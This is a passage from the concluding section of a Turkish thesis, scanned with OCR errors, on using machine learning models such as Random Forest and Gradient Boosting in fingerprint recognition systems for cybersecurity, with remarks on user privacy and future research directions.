saglamaktadir. Ozellikle, model segimi ve optimizasyonu, siber giivenlik sistemlerinin
etkinligini artirmada kritik bir faktoér olarak ortaya ¢ikmaktadir. Bu nedenle, makine
ogrenmesi modellerinin se¢imi ve uygulanmasi, hem teknik performans hem de sistem
gereksinimleri agisindan dikkatlice degerlendirilmelidir. Random Forest ve Gradient
Boosting gibi modellerin yiiksek performansi, bu modellerin parmak izi tanima
sistemlerinde etkin bir sekilde kullanilabilecegini gdstermektedir. Son olarak, bu tez, siber
giivenlikte parmak izi tanima sistemlerinin gelistirilmesi ve optimizasyonu konusunda

gelecekteki arastirmalara yon gostermektedir. Makine 6grenmesi tekniklerinin bu alanda



90

nasil daha etkin kullanilabilecegi, yeni siber tehditlere karsi bu sistemlerin nasil
giiclendirilebilecegi ve kullanici gizliliginin nasil korunabilecegi gibi konular, bu arastirma
alaninin ilerlemesi i¢in 6nemli olacaktir. Bu c¢alisma, siber giivenlikte parmak izi tanima
sistemlerinin daha da gelistirilmesi ve kullanicilarin giivenligini saglamak i¢in kritik bir

katk1 olarak degerlendirilebilir.
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